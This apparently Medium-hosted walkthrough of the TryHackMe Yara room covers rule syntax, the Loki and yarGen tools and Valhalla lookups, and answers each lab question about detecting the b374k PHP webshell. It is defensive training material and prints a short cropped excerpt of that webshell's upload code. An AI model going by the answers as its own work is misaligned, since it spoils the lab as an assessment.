<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by notfo on Medium]]></title>
        <description><![CDATA[Stories by notfo on Medium]]></description>
        <link>https://medium.com/@notfo?source=rss-356ddbee4b59------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by notfo on Medium</title>
            <link>https://medium.com/@notfo?source=rss-356ddbee4b59------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:22:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@notfo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Yara — TryHackMe]]></title>
            <link>https://medium.com/@notfo/yara-tryhackme-a9af901fcecf?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9af901fcecf</guid>
            <category><![CDATA[malware-hunting]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[pattern-matching]]></category>
            <category><![CDATA[yara]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Sun, 17 May 2026 16:39:23 GMT</pubDate>
            <atom:updated>2026-05-17T16:39:23.707Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task 1:Introduction</h3><p>No answer needed</p><h3>Task 2: What is Yara?</h3><p>All about Yara</p><p><em>“The pattern matching swiss knife for malware researchers (and everyone else)” (</em><a href="https://virustotal.github.io/yara/"><em>Virustotal., 2020</em></a><em>)</em></p><p>With such a fitting quote, Yara can identify information based on both binary and textual patterns, such as hexadecimal and strings contained within a file.</p><p>Rules are used to label these patterns. For example, Yara rules are frequently written to determine if a file is malicious or not, based upon the features — or patterns — it presents. Strings are a fundamental component of programming languages. Applications use strings to store data such as text.</p><p>For example, the code snippet below prints “Hello World” in Python. The text “Hello World” would be stored as a string.</p><pre>print(&quot;Hello World!&quot;)</pre><p>We could write a Yara rule to search for “hello world” in every program on our operating system if we would like.</p><p>Why does Malware use Strings?</p><p>Malware, just like our “Hello World” application, uses strings to store textual data. Here are a few examples of the data that various malware types store within strings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPcbxInJk_IBleH8W3bSpg.png" /></figure><p>Q1:What is the name of the base-16 numbering system that Yara can detect?</p><pre>hexadecimal </pre><p>Q2:Would the text “Enter your Name” be a string in an application? (Yay/Nay)</p><pre>Yay</pre><h3>Task 3: Deploy</h3><p>No answer needed</p><h3>Task 4: Introduction to Yara Rules</h3><p>Your First Yara Rule</p><p>The proprietary language that Yara uses for rules is fairly trivial to pick up, but hard to master. This is because your rule is only as effective as your understanding of the patterns you want to search for.</p><p>Using a Yara rule is simple. Every yara command requires two arguments to be valid, these are:<br><strong>1)</strong> The rule file we create<br><strong>2) </strong>Name of file, directory, or process ID to use the rule for.</p><p>Every rule must have a name and condition. For example, if we wanted to use &quot;myrule.yar&quot; on directory &quot;some directory&quot;, we would use the following command:<br>yara myrule.yar somedirectory</p><p>Note that <strong>.yar</strong> is the standard file extension for all Yara rules. We&#39;ll make one of the most basic rules you can make below.<br>1.<strong> </strong>Make a file named &quot;<strong>somefile</strong>&quot; via touch somefile<br>2. Create a new file and name it &quot;<strong>myfirstrule.yar</strong>&quot; like below:</p><p>Creating a file named somefile</p><pre>cmnatic@thm:~$ touch somefile</pre><p>Creating a file named myfirstrule.yar</p><pre>cmnatic@thm touch myfirstrule.yar</pre><p>3. Open the “myfirstrule.yar” using a text editor such as nano and input the snippet below and save the file:</p><pre>rule examplerule {<br>        condition: true<br>}</pre><p>Inputting our first snippet into “myfirstrule.yar” using nano</p><pre>cmnatic@thm nano myfirstrule.yar   GNU nano 4.8 myfirstrule.yar<br>rule examplerule {<br>        condition: true<br>}</pre><p>The <strong>name</strong> of the rule in this snippet is examplerule, where we have one condition - in this case, the <strong>condition</strong> is condition.</p><p>As previously discussed, every rule requires both a name and a condition to be valid. This rule has satisfied those two requirements.</p><p>Simply, the rule we have made checks to see if the file/directory/PID that we specify exists via condition: true. If the file does exist, we are given the output of examplerule</p><p>Let’s give this a try on the file <strong>“somefile”</strong> that we made in step one:<br>yara myfirstrule.yar somefile</p><p>If &quot;somefile&quot; exists, Yara will say examplerule because the pattern has been met - as we can see below:</p><p>Verifying our the examplerule is correct</p><pre>cmnatic@thm:~$ yara myfirstrule.yar somefile <br>examplerule somefile</pre><p>If the file does not exist, Yara will output an error such as that below:</p><p>Yara complaining that the file does not exist</p><pre>cmnatic@thm:~$ yara myfirstrule.yar sometextfile<br>error scanning sometextfile: could not open file</pre><p>Congrats! You’ve made your first rule.</p><h3>Task 5: Expanding on Yara Rules</h3><p><strong>Yara Conditions Continued…</strong></p><p>Checking whether or not a file exists isn’t all that helpful. After all, we can figure that out for ourselves…Using much better tools for the job.</p><p>Yara has a few conditions, which I encourage you to read <a href="https://yara.readthedocs.io/en/stable/writingrules.html">here</a> at your own leisure. However, I’ll detail a few below and explain their purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*44FBsCFcKPJ25d9o2kz21g.png" /></figure><p><strong>Meta</strong></p><p>This section of a Yara rule is reserved for descriptive information by the author of the rule. For example, you can use desc, short for description, to summarise what your rule checks for. Anything within this section does not influence the rule itself. Similar to commenting code, it is useful to summarise your rule.</p><p><strong>Strings</strong></p><p>Remember our discussion about strings in Task 2? Well, here we go. You can use strings to search for specific text or hexadecimal in files or programs. For example, say we wanted to search a directory for all files containing “Hello World!”, we would create a rule such as below:</p><pre>rule helloworld_checker{<br>	strings:<br>		$hello_world = &quot;Hello World!&quot;<br>}</pre><p>We define the keyword Strings where the string that we want to search, i.e., &quot;Hello World!&quot; is stored within the variable $hello_world</p><p>Of course, we need a condition here to make the rule valid. In this example, to make this string the condition, we need to use the variable&#39;s name. In this case, $hello_world:</p><pre>rule helloworld_checker{<br>	strings:<br>		$hello_world = &quot;Hello World!&quot;</pre><pre>	condition:<br>		$hello_world<br>}</pre><p>Essentially, if any file has the string “Hello World!” then the rule will match. However, this is literally saying that it will only match if “Hello World!” is found and will not match if “<em>hello world</em>” or “<em>HELLO WORLD</em>.”</p><p>To solve this, the condition any of them allows multiple strings to be searched for, like below:</p><pre>rule helloworld_checker{<br>	strings:<br>		$hello_world = &quot;Hello World!&quot;<br>		$hello_world_lowercase = &quot;hello world&quot;<br>		$hello_world_uppercase = &quot;HELLO WORLD&quot;</pre><pre>	condition:<br>		any of them<br>}</pre><p>Now, any file with the strings of:</p><p>1. Hello World!</p><p>2. hello world</p><p>3. HELLO WORLD</p><p>Will now trigger the rule.</p><p>Conditions</p><p>We have already used the true and any of them condition. Much like regular programming, you can use operators such as:</p><ul><li><strong>&lt;=</strong> (less than or equal to)</li><li><strong>&gt;=</strong> (more than or equal to)</li><li><strong>!=</strong> (not equal to)</li></ul><p>For example, the rule below would do the following:</p><pre>rule helloworld_checker{<br>	strings:<br>		$hello_world = &quot;Hello World!&quot;</pre><pre>	condition:<br>        #hello_world &lt;= 10<br>}</pre><p>The rule will now:</p><p>1. Look for the “Hello World!” string<br>2. Only say the rule matches if there are less than or equal to ten occurrences of the “Hello World!” string</p><p>Combining keywords</p><p>Moreover, you can use keywords such as:</p><ul><li>and</li><li>not</li><li>or</li></ul><p>To combine multiple conditions. Say if you wanted to check if a file has a string and is of a certain size (in this example, the sample file we are checking is <strong>less than</strong> &lt;10 kb and has “Hello World!” you can use a rule like below:</p><pre>rule helloworld_checker{<br>	strings:<br>		$hello_world = &quot;Hello World!&quot; <br>        <br>        condition:<br>	        $hello_world and filesize &lt; 10KB <br>}</pre><p>The rule will only match if both conditions are true. To illustrate: below, the rule we created, in this case, did not match because although the file has “Hello World!”, it has a file size larger than 10KB:</p><p>Yara failing to match the file mytextfile because it is larger than 10kb</p><pre>cmnatic@thm:~$ &lt;output intentionally left blank&gt;</pre><p>However, the rule matched this time because the file has both “Hello World!” and a file size of less than 10KB.</p><p>Yara successfully matching the file mytextfile because it has “Hello World” and a file size of less than 10KB</p><pre>cmnatic@thm:~$ yara myfirstrule.yar mytextfile.txt<br>helloworld_textfile_checker mytextfile.txt</pre><p>Remembering that the text within the red box is the name of our rule, and the text within the green is the matched file.</p><p>Anatomy of a Yara Rule</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*aOsBgYF4ozpDR6fd.png" /></figure><p>Information security researcher “fr0gger_” has recently created a <a href="https://medium.com/malware-buddy/security-infographics-9c4d3bd891ef#18dd">handy cheatsheet</a> that breaks down and visualises the elements of a YARA rule (shown above, all image credits go to him). It’s a great reference point for getting started!</p><p>No answer needed</p><h3>Task 6: Yara Modules</h3><p><strong>Integrating With Other Libraries</strong></p><p>Frameworks such as the <a href="https://github.com/cuckoosandbox/cuckoo">Cuckoo Sandbox</a> or <a href="https://pypi.org/project/pefile/">Python’s PE Module</a> allow you to improve the technicality of your Yara rules ten-fold.</p><p><strong>Cuckoo</strong></p><p>Cuckoo Sandbox is an automated malware analysis environment. This module allows you to generate Yara rules based upon the behaviours discovered from Cuckoo Sandbox. As this environment executes malware, you can create rules on specific behaviours such as runtime strings and the like.</p><p><strong>Python PE</strong></p><p>Python’s PE module allows you to create Yara rules from the various sections and elements of the Windows Portable Executable (PE) structure.</p><p>Explaining this structure is out of scope as it is covered in my <a href="https://tryhackme.com/room/malmalintroductory">malware introductory room</a>. However, this structure is the standard formatting of all executables and DLL files on windows. Including the programming libraries that are used.</p><p>Examining a PE file’s contents is an essential technique in malware analysis; this is because behaviours such as cryptography or worming can be largely identified without reverse engineering or execution of the sample.</p><p>No answer needed</p><h3>Task 7: Other tools and Yara</h3><p><strong>Yara Tools</strong></p><p>Knowing how to create custom Yara rules is useful, but luckily you don’t have to create many rules from scratch to begin using Yara to search for evil. There are plenty of GitHub <a href="https://github.com/InQuest/awesome-yara">resources</a> and open-source tools (along with commercial products) that can be utilized to leverage Yara in hunt operations and/or incident response engagements.</p><p><strong>LOKI (What, not who, is Loki?)</strong></p><p>LOKI is a free open-source IOC (<em>Indicator of Compromise</em>) scanner created/written by Florian Roth.</p><p>Based on the GitHub page, detection is based on 4 methods:</p><ol><li>File Name IOC Check</li><li>Yara Rule Check<strong> (we are here)</strong></li><li>Hash Check</li><li>C2 Back Connect Check</li></ol><p>There are additional checks that LOKI can be used for. For a full rundown, please reference the <a href="https://github.com/Neo23x0/Loki/blob/master/README.md">GitHub readme</a>.</p><p>LOKI can be used on both Windows and Linux systems and can be downloaded <a href="https://github.com/Neo23x0/Loki/releases">here</a>.</p><p><em>Please note that you are not expected to use this tool in this room.</em></p><p>Displaying Loki’s help menu</p><pre>cmnatic@thm:~/Loki$ python3 loki.py -h<br>usage: loki.py [-h] [-p path] [-s kilobyte] [-l log-file] [-r remote-loghost]<br>               [-t remote-syslog-port] [-a alert-level] [-w warning-level]<br>               [-n notice-level] [--allhds] [--alldrives] [--printall]<br>               [--allreasons] [--noprocscan] [--nofilescan] [--vulnchecks]<br>               [--nolevcheck] [--scriptanalysis] [--rootkit] [--noindicator]<br>               [--dontwait] [--intense] [--csv] [--onlyrelevant] [--nolog]<br>               [--update] [--debug] [--maxworkingset MAXWORKINGSET]<br>               [--syslogtcp] [--logfolder log-folder] [--nopesieve]<br>               [--pesieveshellc] [--python PYTHON] [--nolisten]<br>               [--excludeprocess EXCLUDEPROCESS] [--force]<br><br>Loki - Simple IOC Scanner<br>optional arguments:<br>  -h, --help            show this help message and exit</pre><p><strong>THOR (<em>superhero named programs for a superhero blue teamer)</em></strong></p><p>THOR <em>Lite</em> is Florian’s newest multi-platform IOC AND YARA scanner. There are precompiled versions for Windows, Linux, and macOS. A nice feature with THOR Lite is its scan throttling to limit exhausting CPU resources. For more information and/or to download the binary, start <a href="https://www.nextron-systems.com/thor-lite/">here</a>. You need to subscribe to their mailing list to obtain a copy of the binary. <strong>Note that THOR is geared towards corporate customers</strong>. THOR Lite is the free version.</p><p><em>Please note that you are not expected to use this tool in this room.</em></p><p>Displaying Thor Lite’s help menu</p><pre>cmnatic@thm:~$ ./thor-lite-linux-64 -h<br>Thor Lite<br>APT Scanner<br>Version 10.7.3 (2022-07-27 07:33:47)<br>cc) Nextron Systems GmbH<br>Lite Version<br><br>&gt; Scan Options<br>  -t, --template string      Process default scan parameters from this YAML file<br>  -p, --path strings         Scan a specific file path. Define multiple paths by specifying this option multiple times. Append &#39;:NOWALK&#39; to the path for non-recursive scanning (default: only the system drive) (default [])<br>      --allhds               (Windows Only) Scan all local hard drives (default: only the system drive)<br>      --max_file_size uint   Max. file size to check (larger files are ignored). Increasing this limit will also increase memory usage of THOR. (default 30MB)<br>&gt; Scan Modes<br>      --quick     Activate a number of flags to speed up the scan at cost of some detection.<br>                  This is equivalent to: --noeventlog --nofirewall --noprofiles --nowebdirscan --nologscan --noevtx --nohotfixes --nomft --lookback 3 --lookback-modules filescan</pre><p><strong>FENRIR (naming convention still mythical themed)</strong></p><p>This is the 3rd <a href="https://github.com/Neo23x0/Fenrir">tool</a> created by Neo23x0 (Florian Roth). You guessed it; the previous 2 are named above. The updated version was created to address the issue from its predecessors, where requirements must be met for them to function. Fenrir is a bash script; it will run on any system capable of running bash (nowadays even Windows).</p><p><em>Please note that you are not expected to use this tool in this room.</em></p><p>Running Fenrir</p><pre>cmnatic@thm-yara:~/tools$ ./fenrir.sh<br>##############################################################<br>    ____             _<br>   / __/__ ___  ____(_)___<br>  / _// -_) _ \/ __/ / __/<br> /_/  \__/_//_/_/ /_/_/<br> v0.9.0-log4shell<br><br> Simple Bash IOC Checker<br> Florian Roth, Dec 2021<br>##############################################################</pre><p><strong>YAYA (<em>Yet Another Yara Automaton</em>)</strong></p><p>YAYA was created by the <a href="https://www.eff.org/deeplinks/2020/09/introducing-yaya-new-threat-hunting-tool-eff-threat-lab">EFF</a> (<em>Electronic Frontier Foundation</em>) and released in September 2020. Based on their website, “<em>YAYA is a new open-source tool to help researchers manage multiple YARA rule repositories. YAYA starts by importing a set of high-quality YARA rules and then lets researchers add their own rules, disable specific rulesets, and run scans of files.</em>”</p><p>Note: Currently, YAYA will only run on Linux systems.</p><p>Running YAYA</p><pre>cmnatic@thm-yara:~/tools$ yaya<br>YAYA - Yet Another Yara Automaton<br>Usage:<br>yaya [-h]  <br>    -h print this help screen<br>Commands:<br>   update - update rulesets<br>   edit - ban or remove rulesets<br>   add - add a custom ruleset, located at <br>   scan - perform a yara scan on the directory at</pre><p>In the next section, we will examine <a href="https://github.com/Neo23x0/Loki">LOKI</a> further…</p><p>No answer needed</p><h3>Task 8: Using LOKI and its Yara rule set</h3><p><strong>Using LOKI</strong></p><p>As a security analyst, you may need to research various threat intelligence reports, blog postings, etc. and gather information on the latest tactics and techniques used in the wild, past or present. Typically in these readings, IOCs (hashes, IP addresses, domain names, etc.) will be shared so rules can be created to detect these threats in your environment, along with Yara rules. On the flip side, you might find yourself in a situation where you’ve encountered something unknown, that your security stack of tools can’t/didn’t detect. Using tools such as Loki, you will need to add your own rules based on your threat intelligence gathers or findings from an incident response engagement (forensics).</p><p>As mentioned before, Loki already has a set of Yara rules that we can benefit from and start scanning for evil on the endpoint straightaway.</p><p>Loki is located in the tools.</p><p>Listing the tools directory</p><pre>cmnatic@thm-yara:~/tools$ ls<br>Loki  yarGen</pre><p>Navigate to the Loki directory. Run python loki.py -h to see what options are available.</p><p>If you are running Loki on your own system, the first command you should run is --update. This will add the signature-base<strong> </strong>directory, which Loki uses to scan for known evil. This command was already executed within the attached VM.</p><p>Listing Loki signature-base directory</p><pre>cmnatic@thm-yara:~/tools/Loki/signature-base$ ls<br>iocs  misc  yara</pre><p>Navigate to the yara directory. Feel free to inspect the different Yara files used by Loki to get an idea of what these rules will hunt for.</p><p>To run Loki, you can use the following command (<strong>note that I am calling Loki from within the file 1 directory</strong>)</p><p>Instructing Loki to scan the suspicious file</p><pre>cmnatic@thm-yara:~/suspicious-files/file1$ python ../../tools/Loki/loki.py -p .</pre><p><strong>Scenario</strong>: You are the security analyst for a mid-size law firm. A co-worker discovered suspicious files on a web server within your organization. These files were discovered while performing updates to the corporate website. The files have been copied to your machine for analysis. The files are located in the suspicious-files directory. Use Loki to answer the questions below.</p><p>Q1:Scan file 1. Does Loki detect this file as suspicious/malicious or benign?</p><p>We need to scan file1 with Loki. This the command</p><p>cmnatic@ip-10–130–161–41:~/tools/Loki$ python loki.py -p /home/cmnatic/suspicious-files/file1</p><p>Note: The parameter is -p =&gt; path</p><p>This is the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jJllRuuX3g6MOwKJ-51Qg.png" /></figure><pre>suspicious</pre><p>Q2:What Yara rule did it match on?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*4yoV6KVyPaOvbZG3Urbnbw.png" /></figure><pre>webshell_metaslsoft</pre><p>Q3:What does Loki classify this file as?</p><pre>Web Shell</pre><p>Q4:Based on the output, what string within the Yara rule did it match on?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*cwrHBceBgdFhgDfDQsE7hw.png" /></figure><pre>Str1</pre><p>Q5:What is the name and version of this hack tool?</p><p>Check file1 sha-256 hash on <a href="https://www.virustotal.com/gui/file/5479f8cd1375364770df36e5a18262480a8f9d311e8eedb2c2390ecb233852ad/detection">virustotal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*cGhHJI2Lt9VTeFB-XrI7JA.png" /></figure><pre>b374k 2.2</pre><p>Q6:Inspect the actual Yara file that flagged file 1. Within this rule, how many strings are there to flag this file?</p><pre>1</pre><p>Q7:Scan file 2. Does Loki detect this file as suspicious/malicious or benign?</p><p>cmnatic@ip-10–130–161–41:~/tools/Loki$ python loki.py -p /home/cmnatic/suspicious-files/file2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*3fvUaRc5favS0VuxMzidTA.png" /></figure><pre>benign</pre><p>Q8:Inspect file 2. What is the name and version of this web shell?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*lNCYl6CsbgzeLJ98BZxXuA.png" /></figure><p>Then check the sha256 on <a href="https://www.virustotal.com/gui/file/53fe44b4753874f079a936325d1fdc9b1691956a29c3aaf8643cdbd49f5984bf">virustotal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*uxlHBVZ-yohcNrrG7FZ0Bw.png" /></figure><pre>b374k 3.2.3</pre><h3>Task 9: Creating Yara rules with yarGen</h3><p>Creating Yara rules with yarGen</p><p>From the previous section, we realized that we have a file that Loki didn’t flag on. At this point, we are unable to run Loki on other web servers because if <strong>file 2</strong> exists in any of the webs servers, it will go undetected.</p><p>We need to create a Yara rule to detect this specific web shell in our environment. Typically this is what is done in the case of an incident, which is an event that affects/impacts the organization in a negative fashion.</p><p>We can manually open the file and attempt to sift through lines upon lines of code to find possible strings that can be used in our newly created Yara rule.</p><p>Let’s check how many lines this particular file has. You can run the following: strings &lt;file name&gt; | wc -l.</p><p>Using wc to count the amount of lines in the file</p><pre>cmnatic@thm-yara:~/suspicious-files/file2$ strings 1ndex.php | wc -l<br>3580</pre><p>If you try to go through each string, line by line manually, you should quickly realize that this can be a daunting task.</p><p>Catting the output of 1ndex.php</p><pre>if(res==&#39;error&#39;){<br>$(&#39;.ulProgress&#39;+ulType+i).html(&#39;( failed )&#39;);<br>}<br>else{<br>$(&#39;.ulRes&#39;+ulType+i).html(res);<br>}<br>loading_stop();<br>},<br>error: function(){<br>loading_stop();<br>$(&#39;.ulProgress&#39;+ulType+i).html(&#39;( failed )&#39;);<br>$(&#39;.ulProgress&#39;+ulType+i).removeClass(&#39;ulProgress&#39;+ulType+i);<br>$(&#39;.ulFilename&#39;+ulType+i).removeClass(&#39;ulFilename&#39;+ulType+i);<br>}<br>});<br>}<br><br>function ul_go(ulType){<br>ulFile = (ulType==&#39;comp&#39;)? $(&#39;.ulFileComp&#39;):$(&#39;.ulFileUrl&#39;);<br>ulResult = (ulType==&#39;comp&#39;)? $(&#39;.ulCompResult&#39;):$(&#39;.ulUrlResult&#39;);<br>ulResult.html(&#39;&#39;);<br><br>ulFile.each(function(i){<br>if(((ulType==&#39;comp&#39;)&amp;&amp;this.files[0])||((ulType==&#39;url&#39;)&amp;&amp;(this.value!=&#39;&#39;))){<br>file = (ulType==&#39;comp&#39;)? this.files[0]: this.value;<br>filename = (ulType==&#39;comp&#39;)? file.name: file.substring(file.lastIndexOf(&#39;/&#39;)+1);<br><br>ulSaveTo = (ulType==&#39;comp&#39;)? $(&#39;.ulSaveToComp&#39;)[i].value:$(&#39;.ulSaveToUrl&#39;)[i].value;<br>ulFilename = (ulType==&#39;comp&#39;)? $(&#39;.ulFilenameComp&#39;)[i].value:$(&#39;.ulFilenameUrl&#39;)[i].value;<br><br>--snippet cropped for brevity--</pre><p>Luckily, we can use <a href="https://github.com/Neo23x0/yarGen">yarGen</a> (yes, another tool created by Florian Roth) to aid us with this task.</p><p>What is yarGen? yarGen is a generator for YARA rules.</p><p>From the README — “<em>The main principle is the creation of yara rules from strings found in malware files while removing all strings that also appear in goodware files. Therefore yarGen includes a big goodware strings and opcode database as ZIP archives that have to be extracted before the first use</em>.”</p><p>Navigate to the yarGen directory, which is within tools. If you are running yarGen on your own system, you need to update it first by running the following command: python3 yarGen.py --update.</p><p>This will update the good-opcodes and good-strings DB’s from the online repository. This update will take a few minutes.</p><p>Once it has been updated successfully, you’ll see the following message at the end of the output.</p><p>Updating yarGen</p><pre>cmnatic@thm-yara:~/tools/yarGen$ python3 yarGen.py --update<br>------------------------------------------------------------------------<br>                   _____<br>    __ _____ _____/ ___/__ ___<br>   / // / _ `/ __/ (_ / -_) _ \<br>   \_, /\_,_/_/  \___/\__/_//_/<br>  /___/  Yara Rule Generator<br>         Florian Roth, July 2020, Version 0.23.3<br><br>  Note: Rules have to be post-processed<br>  See this post for details: https://medium.com/@cyb3rops/121d29322282<br>------------------------------------------------------------------------<br>Downloading good-opcodes-part1.db from https://www.bsk-consulting.de/yargen/good-opcodes-part1.db ...</pre><p>To use yarGen to generate a Yara rule for file 2, you can run the following command:</p><p>python3 yarGen.py -m /home/cmnatic/suspicious-files/file2 --excludegood -o /home/cmnatic/suspicious-files/file2.yar</p><p>A brief explanation of the parameters above:</p><ul><li>-m is the path to the files you want to generate rules for</li><li>--excludegood force to exclude all goodware strings (<em>these are strings found in legitimate software and can increase false positives</em>)</li><li>-o location &amp; name you want to output the Yara rule</li></ul><p>If all is well, you should see the following output.</p><p>Using yarGen to generate a rule for file2</p><pre>[=] Generated 1 SIMPLE rules.<br>           [=] All rules written to /home/cmnatic/suspicious-files/file2.yar<br>           [+] yarGen run finished</pre><p>Generally, you would examine the Yara rule and remove any strings that you feel might generate false positives. For this exercise, we will leave the generated Yara rule as is and test to see if Yara will flag file 2 or no.</p><p><strong>Note</strong>: Another tool created to assist with this is called <a href="https://github.com/Neo23x0/yarAnalyzer/">yarAnalyzer</a> (you guessed it — created by Florian Roth). We will not examine that tool in this room, but you should read up on it, especially if you decide to start creating your own Yara rules.</p><p><strong>Further Reading on creating Yara rules and using yarGen</strong>:</p><ul><li><a href="https://www.bsk-consulting.de/2015/02/16/write-simple-sound-yara-rules/">https://www.bsk-consulting.de/2015/02/16/write-simple-sound-yara-rules/</a></li><li><a href="https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/">https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/</a></li><li><a href="https://www.bsk-consulting.de/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/">https://www.bsk-consulting.de/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/</a></li></ul><p>Q1:From within the root of the suspicious files directory, what command would you run to test Yara and your Yara rule against file 2?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*F1YcSJnDBhVM_ito6lb-cw.png" /></figure><pre>yara file2.yar file2/1ndex.php</pre><p>Q2:Did Yara rule flag file 2? (Yay/Nay)</p><pre>Yay</pre><p>Q3:Copy the Yara rule you created into the Loki signatures directory.</p><p>No answer neeeded</p><p>Q4:Test the Yara rule with Loki, does it flag file 2? (Yay/Nay)</p><p>The command to run Loki</p><p>cmnatic@ip-10–129–165–250:~/tools/Loki$ python loki.py -p /home/cmnatic/suspicious-files/file2</p><p>Result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*JzhFWotx1gOVWUTJ7xudFg.png" /></figure><pre>Yay</pre><p>Q5:What is the name of the variable for the string that it matched on?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*aLvtghaZMefGdKcpPGQTsQ.png" /></figure><pre>Zepto</pre><p>Q6: Inspect the Yara rule, how many strings were generated?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*s9tuSVgryBjuuObeHVXKWA.png" /></figure><pre>20</pre><p>Q7: One of the conditions to match on the Yara rule specifies file size. The file has to be less than what amount?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*h8Qn-PU74anGQG2BZmbBFw.png" /></figure><pre>700kb</pre><h3>Task 10: Valhalla</h3><p><strong>Valhalla</strong></p><p><strong>Valhalla</strong> is an online Yara feed created and hosted by <a href="https://www.nextron-systems.com/valhalla/">Nextron-Systems</a> (erm, Florian Roth). By now, you should be aware of the ridiculous amount of time and energy Florian has dedicated to creating these tools for the community. Maybe we should have just called this the Florian Roth room. (lol)</p><p>Per the website, “<em>Valhalla boosts your detection capabilities with the power of thousands of hand-crafted high-quality YARA rules.</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uwExQdS1XXbLcTCs.png" /></figure><p>From the image above, we should denote that we can conduct searches based on a keyword, tag, ATT&amp;CK technique, sha256, or rule name.</p><p><strong>Note</strong>: For more information on ATT&amp;CK, please visit the <a href="https://tryhackme.com/room/mitre">MITRE</a> room.</p><p>Taking a look at the data provided to us, let’s examine the rule in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*3H1rWb8LZLLohh0H.png" /></figure><p>We are provided with the name of the rule, a brief description, a reference link for more information about the rule, along with the rule date.</p><p>Feel free to look at some rules to become familiar with the usefulness of Valhalla. The best way to learn the product is by just jumping right in.</p><p>Picking up from our scenario, at this point, you know that the 2 files are related. Even though Loki classified the files are suspicious, you know in your gut that they are malicious. Hence the reason you created a Yara rule using yarGen to detect it on other web servers. But let’s further pretend that you are not code-savvy (FYI — not all security professionals know how to code/script or read it). You need to conduct further research regarding these files to receive approval to eradicate these files from the network.</p><p>Time to use Valhalla for some threat intelligence gathering…</p><p>Q1:Enter the SHA256 hash of file 1 into Valhalla. Is this file attributed to an APT group? (Yay/Nay)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*ziQinv1bcz6ckoK1V-rX3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*xMKTmvOmxLczk9MRyxTr9A.png" /></figure><pre>Yay</pre><p>Q2:Do the same for file 2. What is the name of the first Yara rule to detect file 2?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*JoZGvAFhcDv6BcRbl5h7_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*5HIrJ_Le367VAbgMakknEA.png" /></figure><pre>Webshell_b374k_rule1</pre><p>Q3: Examine the information for file 2 from Virus Total (VT). The Yara Signature Match is from what scanner?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*lr-MOjkFhdSiJlmB2AJXNw.png" /></figure><pre>THOR APT Scanner</pre><p>Q4:Enter the SHA256 hash of file 2 into Virus Total. Did every AV detect this as malicious? (Yay/Nay)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*6uT-WStxuAun25BbDxKiUA.png" /></figure><pre>Nay</pre><p>Q5:Besides .PHP, what other extension is recorded for this file?</p><p>Under Details tab.You should see all extensions if you scroll down</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*rVLE5H_PtWUnvLIzfxY-1Q.png" /></figure><pre>exe</pre><p>Q6:What JavaScript library is used by file 2?</p><p>Come back to Vallahala search result, then click the Ref for rule1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*qu5TzSmAonSjf3SZUpX6_Q.png" /></figure><p><a href="https://github.com/b374k/b374k">GitHub - b374k/b374k: PHP Webshell with handy features</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*M79FkNE5Wl-U-97x8dtF-g.png" /></figure><pre>Zepto</pre><p>Q7:Is this Yara rule in the default Yara file Loki uses to detect these type of hack tools? (Yay/Nay)</p><p>We already know Loki couldn’t detect file2 vulnerability on the first time. So we created custom rule with yarGen then Loki could detect the file2</p><pre>Nay</pre><h3>Task 11: Conclusion</h3><p>In this room, we explored Yara, how to use Yara, and manually created basic Yara rules. We also explored various open-source tools to hit the ground running that utilizes Yara rules to detect evil on endpoints.</p><p>By going through the room scenario, you should understand the need (<em>as a blue teamer</em>) to know how to create Yara rules effectively if we rely on such tools. Commercial products, even though not perfect, will have a much richer Yara ruleset than an 